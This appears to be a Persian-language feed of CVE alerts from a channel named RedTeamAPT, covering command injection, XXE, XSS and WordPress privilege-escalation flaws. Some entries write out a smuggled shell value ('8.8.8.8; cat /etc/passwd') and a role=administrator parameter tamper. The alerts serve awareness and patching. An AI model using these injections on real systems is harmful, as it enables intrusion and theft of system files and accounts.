🚨 New Vulnerability Alert: CVE-2025-66022

🔴 Risk Level: CRITICAL (Score: 9.6)

گزارش تحلیل آسیب‌پذیری: RCE احراز هویت نشده در FACTION
شناسه: CVE-2025-66022
شدت: بحرانی (Critical)

شرح آسیب‌پذیری:
آسیب‌پذیری با شناسه CVE-2025-66022 در فریم‌ورک تولید گزارش تست نفوذ FACTION شناسایی شده است. این ضعف امنیتی از نوع اجرای کد از راه دور (Remote Code Execution) بوده و نسخه‌های قبل از 1.7.1 را تحت تاثیر قرار می‌دهد.

این مشکل به دلیل ترکیبی از دو نقص امنیتی به وجود آمده است. اول، یک مسیر اجرایی ناامن در فریم‌ورک افزونه‌ها (extensions) به کد غیرقابل اعتماد اجازه می‌دهد تا دستورات دلخواه را بر روی سیستم‌عامل سرور اجرا کند. دوم، اندپوینت /portal/AppStoreDashboard فاقد هرگونه بررسی احراز هویت است. این موضوع به یک مهاجم راه دور و احراز هویت نشده اجازه می‌دهد تا به سادگی به رابط کاربری مدیریت افزونه‌ها دسترسی پیدا کرده، یک افزونه مخرب را بارگذاری و از این طریق کد دلخواه خود را بر روی سرور اجرا کند.

تاثیر:
بهره‌برداری موفق از این آسیب‌پذیری به مهاجم اجازه می‌دهد تا کنترل کامل سرور میزبان FACTION را در دست بگیرد. پیامدهای اصلی عبارتند از:

▪️اجرای کد از راه دور: مهاجم قادر خواهد بود هر دستوری را با سطح دسترسی سرویس FACTION روی سرور اجرا کند.

▪️سرقت اطلاعات حساس: دسترسی به سرور به معنای دسترسی کامل به تمامی داده‌های ذخیره شده، از جمله گزارش‌های محرمانه تست نفوذ، اطلاعات مشتریان و سایر داده‌های حیاتی سازمان است.

▪️نصب درب پشتی (Backdoor): مهاجم می‌تواند با نصب بدافزار، دسترسی پایدار خود به سیستم را برای حملات آتی تضمین کند.

▪️حرکت جانبی در شبکه: سرور آلوده می‌تواند به عنوان نقطه‌ای برای نفوذ به سایر سیستم‌های موجود در شبکه داخلی سازمان مورد استفاده قرار گیرد.

سناریوی حمله:
یک مهاجم می‌تواند مراحل زیر را برای بهره‌برداری از این آسیب‌پذیری طی کند:

۱. شناسایی: مهاجم یک نمونه از FACTION با نسخه آسیب‌پذیر (قبل از 1.7.1) را که از طریق اینترنت قابل دسترس است، پیدا می‌کند.

۲. دسترسی به پنل: مهاجم بدون نیاز به هیچ اعتبارسنجی، مستقیماً به آدرس /portal/AppStoreDashboard در سرور هدف مراجعه کرده و وارد داشبورد مدیریت افزونه‌ها می‌شود.

۳. ساخت و بارگذاری افزونه مخرب: مهاجم یک افزونه ساده حاوی کد مخرب (برای مثال، یک reverse shell) را در قالب یک "lifecycle hook" ایجاد و آن را از طریق پنل بارگذاری می‌کند.

۴. اجرا و کنترل: پس از فعال‌سازی افزونه توسط مهاجم، سیستم FACTION در چرخه حیات خود، هوک مخرب را فراخوانی می‌کند. این عمل باعث اجرای کد مخرب و برقراری یک اتصال از سرور قربانی به سرور مهاجم می‌شود. در این لحظه، مهاجم کنترل کامل سرور را به دست آورده است.

---
توصیه فوری: تمامی کاربران فریم‌ورک FACTION باید در اسرع وقت سیستم خود را به نسخه 1.7.1 یا بالاتر به‌روزرسانی کنند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-58360

🟠 Risk Level: HIGH (Score: 8.2)

تحلیل آسیب‌پذیری: CVE-2025-58360
GeoServer - XML External Entity (XXE)

---

📝 شرح آسیب‌پذیری:
یک آسیب‌پذیری از نوع XML External Entity (XXE) در سرور متن‌-باز GeoServer شناسایی شده است. این سرویس که برای اشتراک‌گذاری داده‌های مکانی (geospatial) استفاده می‌شود، در نقطه پایانی (endpoint) خود به آدرس /geoserver/wms و در عملیات GetMap، ورودی‌های XML را می‌پذیرد.

مشکل اصلی این است که پردازشگر XML این برنامه، ورودی‌ها را به درستی پاک‌سازی و محدود نمی‌کند. این ضعف به یک مهاجم اجازه می‌دهد تا با ارسال یک درخواست XML دستکاری‌شده، موجودیت‌های خارجی (external entities) را تعریف کرده و از سرور سوءاستفاده کند.

نسخه‌های آسیب‌پذیر: 2.26.0 تا قبل از 2.26.2 و نسخه‌های قبل از 2.25.6.
نسخه‌های اصلاح‌شده: 2.25.6، 2.26.3 و 2.27.0.

🎯 تأثیرات:
مهاجمی که از این آسیب‌پذیری بهره‌برداری کند، می‌تواند:

- افشای اطلاعات: به فایل‌های حساس روی سرور دسترسی پیدا کرده و محتوای آن‌ها را بخواند (مانند فایل‌های پیکربندی، کلیدها یا اطلاعات کاربران).
- حملات SSRF: حملات جعل درخواست سمت سرور (Server-Side Request Forgery) را اجرا کرده و از سرور آسیب‌پذیر به عنوان یک پروکسی برای اسکن و حمله به سیستم‌های دیگر در شبکه داخلی استفاده کند.
- منع سرویس (DoS): با استفاده از تکنیک‌هایی مانند "Billion Laughs attack"، منابع سرور (CPU و حافظه) را مصرف کرده و باعث از کار افتادن سرویس شود.

🎭 سناریوی حمله:
یک مهاجم بدون نیاز به احراز هویت، یک درخواست XML مخرب ایجاد می‌کند. در این درخواست، یک موجودیت خارجی (external entity) تعریف می‌شود که به یک فایل محلی روی سرور اشاره دارد، برای مثال /etc/passwd.

سپس، مهاجم این درخواست مخرب را به نقطه پایانی /geoserver/wms با عملیات GetMap ارسال می‌کند.

پردازشگر XML در GeoServer، به دلیل عدم اعتبارسنجی صحیح، این موجودیت خارجی را پردازش کرده و تلاش می‌کند محتوای فایل /etc/passwd را فراخوانی کند. در نهایت، محتوای این فایل در پاسخ به درخواست مهاجم بازگردانده شده و اطلاعات حساس سرور فاش می‌شود.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64126

🔴 Risk Level: CRITICAL (Score: 10.0)

تحلیل آسیب‌پذیری CVE-2025-64126

گزارش خلاصه و حرفه‌ای جهت آگاهی کارشناسان امنیت سایبری

---

شرح آسیب‌پذیری: 📝

یک آسیب‌پذیری از نوع تزریق دستور سیستم‌عامل (OS Command Injection) به دلیل اعتبارسنجی نادرست ورودی کاربر شناسایی شده است. برنامه یک پارامتر را مستقیماً از ورودی کاربر دریافت کرده و بدون بررسی صحت آن (مثلاً معتبر بودن یک آدرس IP) یا فیلتر کردن کاراکترهای مخرب بالقوه، آن را پردازش می‌کند.

این ضعف به یک مهاجم غیر احراز هویت شده اجازه می‌دهد تا با ارسال ورودی‌های دستکاری‌شده، دستورات دلخواه خود را بر روی سیستم‌عامل سرور میزبان اجرا کند.

تأثیر: 💥

بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به کنترل کامل سرور (Full Server Compromise) شود. مهاجم قادر خواهد بود:

- به اطلاعات حساس مانند پایگاه‌های داده، فایل‌های پیکربندی و اطلاعات کاربران دسترسی پیدا کند.
- بدافزار، باج‌افزار یا درهای پشتی (Backdoor) بر روی سرور نصب کند.
- سرویس‌دهی را مختل کرده یا به طور کامل متوقف سازد (Denial of Service).
- از سرور آسیب‌دیده به عنوان یک پایگاه برای حملات بیشتر به سایر سیستم‌ها در شبکه داخلی استفاده کند.

سناریوی حمله: 🎭

فرض کنید یک ابزار تحت وب برای تست شبکه (مانند ping) وجود دارد که از کاربر یک آدرس IP دریافت می‌کند.

۱. کاربر عادی آدرسی مانند 8.8.8.8 را وارد می‌کند و سیستم دستور ping 8.8.8.8 را اجرا می‌کند.

۲. مهاجم به جای یک IP معتبر، یک رشته دستکاری‌شده مانند زیر را در فیلد ورودی وارد می‌کند:
8.8.8.8; cat /etc/passwd

۳. سرور آسیب‌پذیر این ورودی را بدون اعتبارسنجی دریافت کرده و دستور زیر را بر روی سیستم‌عامل اجرا می‌کند:
ping 8.8.8.8; cat /etc/passwd

۴. در نتیجه، پس از اجرای دستور ping، دستور دوم یعنی cat /etc/passwd نیز اجرا شده و محتوای فایل حساس کاربران سیستم برای مهاجم نمایش داده می‌شود. مهاجم می‌تواند با دستورات پیچیده‌تر، یک اتصال معکوس (Reverse Shell) به سرور برقرار کرده و کنترل کامل آن را به دست بگیرد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64127

🔴 Risk Level: CRITICAL (Score: 10.0)

تحلیل آسیب‌پذیری CVE-2025-64127

شرح آسیب‌پذیری (Vulnerability Description):
این گزارش به بررسی آسیب‌پذیری حیاتی از نوع تزریق دستور سیستم‌عامل (OS Command Injection) با شناسه CVE-2025-64127 می‌پردازد. ریشه این مشکل در عدم پاکسازی و اعتبارسنجی صحیح ورودی‌های دریافتی از کاربر است. برنامه، پارامترهای ارسالی را بدون فیلتر کردن کاراکترهای خطرناک، مستقیماً در دستوراتی که در سطح سیستم‌عامل سرور اجرا می‌شوند، به کار می‌برد.

این ضعف به یک مهاجم احرازهویت نشده اجازه می‌دهد تا با ارسال ورودی‌های دستکاری‌شده، دستورات دلخواه خود را از راه دور بر روی سرور هدف اجرا کند.

تأثیرات و پیامدها (Impact):
بهره‌برداری موفق از این آسیب‌پذیری منجر به اجرای کد از راه دور (Remote Code Execution - RCE) می‌شود که یکی از خطرناک‌ترین پیامدهای امنیتی است. مهاجم می‌تواند:

▪️ کنترل کامل سرور را در دست بگیرد.
▪️ به داده‌های حساس (مانند اطلاعات کاربران، پایگاه‌های داده و فایل‌های سیستمی) دسترسی پیدا کرده، آن‌ها را سرقت، تغییر یا حذف کند.
▪️ بدافزارهایی مانند باج‌افزار (Ransomware) یا درهای پشتی (Backdoors) را بر روی سرور نصب کند.
▪️ از سرور آلوده به عنوان نقطه‌ای برای حمله به سایر سیستم‌های موجود در شبکه داخلی (Lateral Movement) استفاده کند.

سناریوی حمله (Scenario):
یک اپلیکیشن وب را تصور کنید که ابزاری برای بررسی وضعیت شبکه (مثلاً ping) در اختیار کاربران قرار می‌دهد. کاربر آدرس IP مورد نظر خود را در یک فیلد وارد می‌کند و سرور دستوری مشابه زیر را اجرا می‌کند:
ping -c 4 [user_input]

یک مهاجم به جای یک آدرس IP معتبر، ورودی مخرب زیر را ارسال می‌کند:
8.8.8.8; cat /etc/passwd

از آنجایی که برنامه ورودی را پاکسازی نمی‌کند، دستور نهایی که بر روی سرور اجرا می‌شود به شکل زیر خواهد بود:
ping -c 4 8.8.8.8; cat /etc/passwd

در نتیجه، سرور ابتدا دستور ping را اجرا کرده و سپس، به دلیل وجود کاراکتر ;، دستور دوم یعنی cat /etc/passwd را نیز اجرا می‌کند. این کار باعث می‌شود محتوای فایل حساس passwd که حاوی اطلاعات کاربران سیستم است، برای مهاجم نمایش داده شود. مهاجم می‌تواند با استفاده از دستورات پیچیده‌تر، یک شل معکوس (Reverse Shell) دریافت کرده و کنترل کامل سرور را به دست آورد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64128

🔴 Risk Level: CRITICAL (Score: 10.0)

شرح آسیب‌پذیری:

آسیب‌پذیری با شناسه CVE-2025-64128 از نوع تزریق دستور سیستم‌عامل (OS Command Injection) است. این ضعف امنیتی به دلیل اعتبارسنجی ناقص ورودی‌های ارائه‌شده توسط کاربر به وجود می‌آید. به طور مشخص، سیستم قادر به اعمال قوانین قالب‌بندی کافی بر روی داده‌های ورودی نیست و این موضوع به مهاجمان اجازه می‌دهد تا داده‌های دلخواه خود را به ورودی اصلی اضافه کنند.

در نتیجه، یک مهاجم بدون نیاز به احراز هویت می‌تواند از این طریق، دستورات دلخواه خود را بر روی سیستم‌عامل سرور هدف تزریق و اجرا نماید.

تأثیر:

این آسیب‌پذیری دارای سطح بحرانی (Critical) است و بهره‌برداری موفقیت‌آمیز از آن می‌تواند منجر به نتایج فاجعه‌باری شود. مهم‌ترین تأثیرات آن عبارتند از:

- اجرای کد از راه دور (RCE): مهاجم می‌تواند هر دستوری را با سطح دسترسی پروسه آسیب‌پذیر بر روی سرور اجرا کند.

- کنترل کامل سرور: در صورت بالا بودن سطح دسترسی پروسه، مهاجم قادر به در اختیار گرفتن کنترل کامل سرور خواهد بود.

- سرقت اطلاعات حساس: امکان دسترسی و استخراج اطلاعات حساس مانند فایل‌های پیکربندی، پایگاه‌های داده و اطلاعات کاربران وجود دارد.

- نصب بدافزار: مهاجم می‌تواند بدافزار، باج‌افزار یا ابزارهای دسترسی از راه دور (RAT) را بر روی سیستم آلوده نصب کند.

- اختلال در سرویس‌دهی: امکان حذف فایل‌های حیاتی سیستم یا از کار انداختن سرویس‌ها وجود دارد.

سناریو:

یک مهاجم یک وب‌سایت را شناسایی می‌کند که ابزاری برای بررسی وضعیت شبکه (مانند ابزار ping) در اختیار کاربران قرار می‌دهد. کاربر باید یک آدرس IP یا دامنه را در یک فیلد وارد کند تا نتیجه پینگ را مشاهده نماید.

۱. برنامه تحت وب، ورودی کاربر را دریافت کرده و مستقیماً آن را در یک دستور سیستمی قرار می‌دهد. برای مثال: ping -c 4 [USER_INPUT]

۲. مهاجم به جای یک آدرس IP معتبر، یک ورودی مخرب مانند زیر را ارسال می‌کند:
8.8.8.8; cat /etc/passwd

۳. به دلیل عدم اعتبارسنجی و پاک‌سازی صحیح ورودی، دستور نهایی که بر روی سرور اجرا می‌شود به شکل زیر خواهد بود:
ping -c 4 8.8.8.8; cat /etc/passwd

۴. سرور ابتدا دستور ping را اجرا کرده و سپس، به دلیل وجود کاراکتر ;، دستور دوم یعنی cat /etc/passwd را نیز اجرا می‌کند. در نتیجه، محتوای فایل حساس کاربران سیستم برای مهاجم نمایش داده می‌شود و او می‌تواند به اطلاعات مهمی دست پیدا کند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64130

🔴 Risk Level: CRITICAL (Score: 9.8)

🔎 شرح آسیب‌پذیری:

دستگاه Zenitel TCIV-3+ تحت تأثیر یک آسیب‌پذیری با شناسه CVE-2025-64130 قرار دارد. این آسیب‌پذیری از نوع Cross-Site Scripting (XSS) بازتابی (Reflected XSS) است.

یک مهاجم از راه دور می‌تواند با سوءاستفاده از این نقص امنیتی، کدهای جاوا اسکریپت دلخواه را در مرورگر کاربر قربانی اجرا کند. این اتفاق زمانی رخ می‌دهد که دستگاه، ورودی کاربر را بدون پاک‌سازی و اعتبارسنجی مناسب، در صفحه وب بازتاب می‌دهد.

💥 تأثیرات و خطرات:

اجرای موفق این حمله می‌تواند منجر به موارد زیر شود:

- سرقت کوکی‌های نشست (Session Cookies) و ربودن حساب کاربری (Session Hijacking).
- هدایت کاربر به وب‌سایت‌های مخرب و صفحات فیشینگ برای سرقت اطلاعات حساس.
- اجرای کدهای مخرب در بستر یک وب‌سایت معتبر (از دید مرورگر).
- دسترسی به اطلاعات حساس وارد شده توسط کاربر در صفحه آسیب‌پذیر.

🎬 سناریوی حمله:

۱. مهاجم یک لینک یا URL دستکاری‌شده حاوی کد مخرب جاوا اسکریپت را ایجاد می‌کند.

۲. این لینک از طریق ایمیل، پیام‌رسان یا شبکه‌های اجتماعی برای قربانی ارسال می‌شود و او را ترغیب به کلیک کردن می‌کند.

۳. قربانی روی لینک کلیک کرده و درخواستی به سرور آسیب‌پذیر Zenitel ارسال می‌کند که حاوی کد مخرب است.

۴. سرور، کد مخرب را بدون اعتبارسنجی مناسب، در پاسخ خود به مرورگر قربانی بازتاب (Reflect) می‌دهد.

۵. مرورگر قربانی، با فرض اینکه کد از سمت سرور معتبر آمده است، آن را اجرا می‌کند. در این لحظه، حمله با موفقیت انجام شده و کد مخرب (برای مثال، کد سرقت کوکی) فعال می‌شود.

---
توصیه می‌شود کاربران دستگاه‌های مذکور منتظر به‌روزرسانی امنیتی از سوی شرکت Zenitel بوده و تا حد امکان از کلیک بر روی لینک‌های ناشناس خودداری کنند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13538

🔴 Risk Level: CRITICAL (Score: 9.8)

تحلیل آسیب‌پذیری CVE-2025-13538
افزونه WordPress FindAll Listing - افزایش سطح دسترسی

---

📝 توضیحات آسیب‌پذیری:
این آسیب‌پذیری از نوع افزایش سطح دسترسی (Privilege Escalation) در افزونه FindAll Listing برای وردپرس، در تمام نسخه‌ها تا 1.0.5 (شامل این نسخه) وجود دارد.

ضعف اصلی در تابع findall_listing_user_registration_additional_params نهفته است که هنگام ثبت‌نام کاربر جدید، هیچ‌گونه اعتبارسنجی روی نقش کاربری (role) ارسالی انجام نمی‌دهد.

نکته مهم: این آسیب‌پذیری تنها زمانی قابل بهره‌برداری است که افزونه مکمل آن، یعنی FindAll Membership، نیز روی وب‌سایت فعال باشد، زیرا فرآیند ثبت‌نام توسط این افزونه مدیریت می‌شود.

💣 تأثیر:
مهاجم بدون نیاز به احراز هویت (Unauthenticated Attacker) می‌تواند با ارسال پارامتر role=administrator در فرآیند ثبت‌نام، یک حساب کاربری با سطح دسترسی مدیر کل (Administrator) برای خود ایجاد کند.

دستیابی به این سطح از دسترسی به معنای کنترل کامل وب‌سایت است. مهاجم می‌تواند:
- محتوا را تغییر داده یا حذف کند.
- اطلاعات کاربران را سرقت کند.
- کدهای مخرب یا درهای پشتی (Backdoors) نصب کند.
- وب‌سایت را از دسترس خارج کرده یا آن را تخریب (Deface) نماید.

🎯 سناریوی حمله:
۱. مهاجم یک وب‌سایت وردپرسی را شناسایی می‌کند که هر دو افزونه FindAll Listing (نسخه ۱.۰.۵ یا قدیمی‌تر) و FindAll Membership روی آن فعال هستند.

۲. به صفحه ثبت‌نام وب‌سایت مراجعه کرده و اطلاعات اولیه مانند نام کاربری و ایمیل را وارد می‌کند.

۳. قبل از ارسال نهایی فرم، درخواست HTTP مربوط به ثبت‌نام را با ابزاری مانند Burp Suite رهگیری می‌کند.

۴. پارامتر role را با مقدار administrator به درخواست اضافه یا مقدار آن را تغییر می‌دهد.

۵. درخواست دستکاری‌شده را به سرور ارسال می‌کند.

۶. سیستم بدون هیچ‌گونه اعتبارسنجی، یک حساب کاربری جدید با دسترسی کامل مدیر کل ایجاد می‌کند و مهاجم با آن وارد سایت می‌شود.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13539

🔴 Risk Level: CRITICAL (Score: 9.8)

- تحلیل آسیب‌پذیری امنیتی -
CVE-2025-13539

---

📝 توضیحات آسیب‌پذیری:

آسیب‌پذیری از نوع دور زدن احراز هویت (Authentication Bypass) در پلاگین FindAll Membership برای وردپرس شناسایی شده است. این ضعف امنیتی تمام نسخه‌های این پلاگین تا نسخه 1.0.4 (شامل این نسخه) را تحت تاثیر قرار می‌دهد.

ریشه مشکل در این است که پلاگین پس از تایید هویت کاربر از طریق سرویس‌های گوگل یا فیسبوک (توابع findall_membership_check_google_user و findall_membership_check_facebook_user)، از اطلاعات تایید شده برای ایجاد نشست (Session) و ورود نهایی کاربر به درستی استفاده نمی‌کند. این شکاف به مهاجم اجازه می‌دهد تا فرآیند احراز هویت را دور زده و به جای کاربر اصلی وارد سیستم شود.

---

💥 تاثیرات:

مهاجم غیر احراز هویت شده (Unauthenticated) می‌تواند با بهره‌برداری از این آسیب‌پذیری، به حساب کاربری هر فردی در وب‌سایت، از جمله کاربران مدیر (Administrator)، دسترسی پیدا کند.

این دسترسی به معنای کنترل کامل وب‌سایت است و می‌تواند منجر به عواقب زیر شود:

- سرقت اطلاعات حساس کاربران و وب‌سایت
- تخریب وب‌سایت (Defacement)
- تزریق بدافزار و کدهای مخرب
- ایجاد درهای پشتی (Backdoors) برای دسترسی‌های آتی
- سوءاستفاده از منابع سرور

---

🎭 سناریوی حمله:

یک مهاجم برای بهره‌برداری از این آسیب‌پذیری، مراحل زیر را طی می‌کند:

۱. ابتدا، مهاجم باید آدرس ایمیل یک کاربر با سطح دسترسی بالا (مانند مدیر) را به دست آورد.

۲. سپس، مهاجم یک حساب کاربری عادی یا موقت برای خود در وب‌سایت ایجاد می‌کند (طبق توضیحات رسمی، این قابلیت به صورت پیش‌فرض فعال است).

۳. در مرحله بعد، مهاجم فرآیند ورود از طریق گوگل یا فیسبوک را آغاز کرده و در این فرآیند، ایمیل کاربر مدیر را وارد می‌کند.

۴. به دلیل وجود نقص منطقی در پلاگین، سیستم پس از یک بررسی اولیه، به اشتباه نشست کاربری را برای حساب مدیر ایجاد کرده و مهاجم را با اختیارات کامل مدیر وارد وب‌سایت می‌کند، بدون آنکه نیاز به تایید هویت واقعی از سمت گوگل یا فیسبوک باشد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13540

🔴 Risk Level: CRITICAL (Score: 9.8)

تحلیل و گزارش آسیب‌پذیری | CVE-2025-13540

شرح آسیب‌پذیری:
یک آسیب‌پذیری از نوع افزایش سطح دسترسی (Privilege Escalation) در افزونه Tiare Membership برای وردپرس شناسایی شده است. این آسیب‌پذیری تمامی نسخه‌های 1.2 و پایین‌تر را تحت تاثیر قرار می‌دهد.

نقص امنیتی در تابع tiare_membership_init_rest_api_register وجود دارد. این تابع هنگام ثبت‌نام یک کاربر جدید، نقش کاربری (User Role) ارسال شده را به درستی اعتبارسنجی نمی‌کند. در نتیجه، یک کاربر غیرمجاز می‌تواند در حین فرآیند ثبت‌نام، هر نقشی را برای حساب کاربری خود انتخاب کند.

تاثیر:
مهاجم بدون نیاز به احراز هویت (Unauthenticated) می‌تواند با ثبت یک حساب کاربری جدید و اختصاص نقش administrator به آن، کنترل کامل وب‌سایت را به دست آورد.

این سطح از دسترسی به مهاجم اجازه می‌دهد تا اطلاعات حساس را سرقت کند، بدافزار تزریق کند، محتوای سایت را تغییر داده، کاربران دیگر را حذف کرده و یا سایت را به طور کامل از دسترس خارج کند.

سناریو:
۱. مهاجم فرم ثبت‌نام وب‌سایتی را که از نسخه آسیب‌پذیر افزونه استفاده می‌کند، شناسایی می‌کند.

۲. مهاجم با ارسال یک درخواست ثبت‌نام (معمولاً از طریق REST API)، در کنار اطلاعاتی مانند نام کاربری و رمز عبور، پارامتر مربوط به نقش کاربری را با مقدار administrator ارسال می‌کند.

۳. به دلیل عدم وجود مکانیزم اعتبارسنجی در تابع آسیب‌پذیر، سیستم یک حساب کاربری جدید با بالاترین سطح دسترسی (مدیر کل) برای مهاجم ایجاد می‌کند.

۴. مهاجم اکنون می‌تواند با حساب کاربری ایجاد شده وارد پنل مدیریت شده و کنترل کامل سایت را در اختیار بگیرد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13675

🔴 Risk Level: CRITICAL (Score: 9.8)

تحلیل آسیب‌پذیری: CVE-2025-13675
افزایش سطح دسترسی در قالب وردپرس Tiger

---

📜 توضیحات آسیب‌پذیری:

این آسیب‌پذیری از نوع افزایش سطح دسترسی (Privilege Escalation) در قالب Tiger برای وردپرس، در تمام نسخه‌های موجود تا نسخه 101.2.1 (شامل این نسخه) وجود دارد.

نقطه ضعف اصلی در فایل paypal-submit.php قرار دارد که هنگام ثبت‌نام کاربر جدید، نقش کاربری (User Role) ارسالی توسط کاربر را به درستی اعتبارسنجی و محدود نمی‌کند.

💥 تأثیر:

یک مهاجم غیر احراز هویت شده (Unauthenticated) می‌تواند با سوءاستفاده از این ضعف، یک حساب کاربری با بالاترین سطح دسترسی، یعنی administrator، برای خود ایجاد کند.

این امر به مهاجم کنترل کامل وب‌سایت را می‌دهد و امکان انجام هرگونه عملیات مخرب، از جمله سرقت اطلاعات حساس، تغییر محتوای سایت، نصب بدافزار و یا حذف کامل وب‌سایت را فراهم می‌آورد.

🎭 سناریوی حمله:

۱. مهاجم یک وب‌سایت را که از نسخه آسیب‌پذیر قالب Tiger استفاده می‌کند، شناسایی می‌کند.

۲. یک درخواست ثبت‌نام به فایل paypal-submit.php ارسال می‌کند.

۳. در پارامترهای این درخواست، مقدار مربوط به نقش کاربری را برابر با administrator قرار می‌دهد.

۴. سیستم بدون هیچ‌گونه اعتبارسنجی، درخواست را پردازش کرده و یک حساب کاربری جدید با دسترسی کامل مدیریتی ایجاد می‌کند.

۵. اکنون مهاجم می‌تواند با اطلاعات حساب کاربری جدید وارد پیشخوان وردپرس شده و کنترل کامل سایت را در دست بگیرد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13680

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری | CVE-2025-13680
ارتقاء سطح دسترسی در قالب Tiger وردپرس

---

🐞 توضیحات آسیب‌پذیری:

یک آسیب‌پذیری از نوع ارتقاء سطح دسترسی (Privilege Escalation) با شناسه CVE-2025-13680 در قالب Tiger برای سیستم مدیریت محتوای وردپرس شناسایی شده است. این ضعف امنیتی تمامی نسخه‌های این قالب تا نسخه 101.2.1 (شامل این نسخه) را تحت تأثیر قرار می‌دهد.

ریشه این مشکل در عدم اعتبارسنجی و کنترل دسترسی مناسب بر روی تابع $user->set_role() است. این تابع به کاربران اجازه می‌دهد نقش کاربری خود را در سیستم تغییر دهند. در نتیجه، یک مهاجم احرازهویت‌شده با حداقل سطح دسترسی (مانند نقش Subscriber) می‌تواند از این ضعف سوءاستفاده کرده و سطح دسترسی خود را به مدیر کل (Administrator) ارتقاء دهد.


💥 تأثیر:

بهره‌برداری موفق از این آسیب‌پذیری به مهاجم اجازه می‌دهد تا کنترل کامل وب‌سایت وردپرسی را در دست بگیرد. پس از دریافت دسترسی مدیریتی، مهاجم قادر خواهد بود اقدامات مخرب زیر را انجام دهد:

- نصب افزونه‌های مخرب و شل‌های تحت وب (Web Shells).
- ایجاد، حذف یا تغییر تمامی محتوای وب‌سایت.
- ایجاد کاربران مدیر جدید برای حفظ دسترسی.
- سرقت اطلاعات حساس کاربران، از جمله اطلاعات شخصی و رمزهای عبور.
- تزریق بدافزار و هدایت کاربران به وب‌سایت‌های فیشینگ.

در عمل، این آسیب‌پذیری می‌تواند منجر به از دست رفتن کامل محرمانگی، یکپارچگی و در دسترس بودن وب‌سایت شود.


🎭 سناریو:

یک سناریوی حمله به شرح زیر است:

۱. مهاجم با ثبت‌نام در وب‌سایت هدف، یک حساب کاربری عادی با نقش Subscriber ایجاد می‌کند.

۲. سپس با تحلیل کدهای قالب یا ارسال درخواست‌های دستکاری‌شده، نقطه‌ای را که تابع $user->set_role() بدون بررسی سطح دسترسی کاربر فعلی فراخوانی می‌شود، شناسایی می‌کند.

۳. مهاجم درخواستی را به سرور ارسال می‌کند و در پارامتر مربوط به نقش کاربری، مقدار administrator را تنظیم می‌نماید.

۴. به دلیل نبود کنترل‌های امنیتی لازم، سیستم درخواست را معتبر دانسته و نقش کاربری مهاجم را به مدیر کل تغییر می‌دهد. از این لحظه به بعد، مهاجم کنترل کامل وب‌سایت را در اختیار دارد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-66359

🟠 Risk Level: HIGH (Score: 8.5)

🔬 تحلیل آسیب‌پذیری: CVE-2025-66359
Logpoint SIEM - Cross-Site Scripting (XSS)

---

🔬 توضیحات آسیب‌پذیری:

یک آسیب‌پذیری از نوع Cross-Site Scripting (XSS) در پلتفرم Logpoint و در نسخه‌های پیش از 7.7.0 شناسایی شده است. این ضعف امنیتی ناشی از عدم اعتبارسنجی کافی داده‌های ورودی و همچنین عدم خروجی‌سازی مناسب (Output Escaping) در چندین بخش از رابط کاربری این نرم‌افزار است.

این شرایط به یک مهاجم اجازه می‌دهد تا با تزریق اسکریپت‌های مخرب در سمت کلاینت (مرورگر)، کدهای دلخواه خود را در بستر نشست (Session) کاربری قربانی اجرا نماید.

💥 تأثیرات:

مهاجم با بهره‌برداری موفق از این آسیب‌پذیری قادر خواهد بود اقدامات زیر را انجام دهد:

▪️ سرقت نشست‌های کاربری (Session Hijacking)، به خصوص حساب‌های با دسترسی بالا مانند مدیران سیستم.
▪️ سرقت اطلاعات حساس نمایش داده شده در پنل Logpoint، مانند لاگ‌ها و گزارشات امنیتی.
▪️ اجرای حملات فیشینگ برای به سرقت بردن اطلاعات ورود کاربران.
▪️ تغییر و دستکاری ظاهر رابط کاربری به منظور فریب کاربر یا ایجاد اختلال.
▪️ هدایت کاربر به وب‌سایت‌های مخرب.

🎭 سناریوی حمله:

۱. مهاجم یک اسکریپت مخرب (Payload) را در داده‌ای که قرار است توسط Logpoint پردازش و ذخیره شود، تزریق می‌کند. این داده می‌تواند بخشی از یک لاگ، یک هدر HTTP یا هر ورودی دیگری باشد که در پنل نمایش داده می‌شود.

۲. پلتفرم Logpoint این داده آلوده را بدون پاکسازی و اعتبارسنجی مناسب دریافت و در پایگاه داده خود ذخیره می‌کند.

۳. هنگامی که یک کاربر معتبر (مانند یک تحلیلگر امنیتی) وارد پنل وب Logpoint شده و صفحه‌ای که حاوی این داده مخرب است را مشاهده می‌کند (برای مثال، در بخش جستجوی لاگ‌ها یا داشبوردها)، مرورگر کاربر اسکریپت تزریق شده را به عنوان کدی معتبر اجرا می‌کند.

